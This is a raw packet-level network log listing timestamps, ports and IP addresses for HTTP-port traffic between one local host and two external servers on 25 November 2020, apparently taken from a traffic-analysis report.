Nov 25, 2020 19:07:13.059763908 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059775114 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059792995 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059802055 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059812069 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059829950 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059834003 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059851885 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059871912 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059885025 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059890032 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059907913 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059923887 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059926033 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059945107 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059964895 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059973955 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060003996 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060019970 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060040951 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060044050 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060059071 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060076952 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060095072 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060096025 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060112953 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060132027 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060146093 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060149908 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060170889 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060192108 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060192108 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060209990 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060229063 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060231924 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060247898 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060269117 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060275078 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060287952 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060307026 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060311079 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060328960 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060349941 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060368061 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060369968 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060386896 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060405970 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060414076 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060424089 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060441971 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060447931 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060461044 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060482979 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060487986 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060503006 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060522079 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060523987 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060539961 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060558081 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060560942 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060576916 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060595989 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060614109 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060619116 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060636044 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060657024 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060673952 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060678005 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060692072 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060709953 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060724020 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060726881 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060743093 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.060761929 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060795069 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.060826063 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.061292887 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:14.190690041 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:14.190788031 CET	49768	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.101177931 CET	49769	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.101281881 CET	49770	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.269293070 CET	80	49770	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:15.269454956 CET	80	49769	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:15.269459009 CET	49770	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.269598007 CET	49769	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.279915094 CET	49769	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.450944901 CET	80	49769	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:15.467380047 CET	80	49769	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:15.467447042 CET	80	49769	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:15.467497110 CET	80	49769	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:15.467538118 CET	49769	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:15.467576027 CET	49769	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:16.346003056 CET	49769	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:16.346061945 CET	49770	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:57.587941885 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.769646883 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.769893885 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.769932985 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.939376116 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940072060 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940124989 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940171003 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940207958 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940248966 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940248966 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940289021 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940289021 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940294027 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940344095 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940443039 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940486908 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940591097 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940593958 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940603971 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940630913 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:57.940707922 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:57.940713882 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116024971 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116084099 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116122961 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116163969 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116199970 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116235018 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116250038 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116261005 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116266012 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116408110 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116446018 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116465092 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116473913 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116478920 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116487026 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116527081 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116566896 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116574049 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116652966 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116693020 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.116883993 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.116964102 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117007017 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117111921 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117135048 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117178917 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.117242098 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117281914 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117327929 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117347002 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.117400885 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.117409945 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:58.469960928 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:58.473484993 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.062321901 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.064552069 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.232656956 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.232747078 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.232789040 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.232812881 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.232835054 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.232853889 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.232892036 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.232919931 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.232927084 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.232930899 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.232965946 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233098030 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233128071 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233146906 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233197927 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233203888 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233263016 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233303070 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233333111 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233426094 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233474970 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233516932 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233583927 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233594894 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233695030 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233736038 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.233752012 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.233788013 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234185934 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234258890 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234297037 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234333992 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234333992 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234345913 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234364033 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234381914 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234529018 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234586000 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234642982 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234657049 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234695911 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234699011 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234802008 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234863997 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.234919071 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.234939098 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.235016108 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235059977 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235165119 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.235235929 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235313892 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235361099 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235411882 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.235429049 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.235563040 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235603094 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235661983 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.235783100 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235806942 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.235867977 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.236088991 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236130953 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236319065 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236351013 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236418009 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.236429930 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.236460924 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236511946 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236628056 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.236715078 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236768961 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.236845016 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.236965895 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.239949942 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.401480913 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.401547909 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.401606083 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.401669025 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.401772022 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.401827097 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402138948 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402179956 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402231932 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402280092 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402286053 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402328968 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402421951 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402465105 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402503014 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402515888 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402543068 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402550936 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402582884 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402620077 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402667999 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402673006 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.402864933 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.402905941 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403183937 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.403208017 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403250933 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403315067 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.403671980 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403717041 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403722048 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.403755903 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403795004 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403834105 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403841019 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.403847933 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.403871059 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.403914928 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.403919935 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.404203892 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404256105 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404298067 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404336929 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404341936 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.404345989 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.404405117 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404443026 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404455900 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.404484034 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404520988 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404567003 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.404572964 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404617071 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404655933 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404666901 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.404695034 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.404742002 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.405175924 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405220985 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405261040 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405273914 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.405280113 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.405299902 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405313015 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.405339956 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405379057 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405388117 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.405471087 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.405875921 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405917883 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405955076 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.405992985 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406001091 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406008005 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406033039 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406069994 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406111956 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406116962 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406265020 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406306028 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406394958 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406490088 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406532049 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406621933 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406634092 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406673908 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406740904 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.406841040 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406882048 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.406968117 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.407099009 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407139063 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407171965 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.407185078 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.407358885 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407403946 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407510042 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.407532930 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407577038 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407640934 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.407740116 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407780886 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.407850981 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.408010960 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.408061028 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.408108950 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.408255100 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.408298969 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.408344030 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.408404112 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.408444881 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.408488035 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.408495903 CET	49771	80	192.168.2.7	63.250.47.200
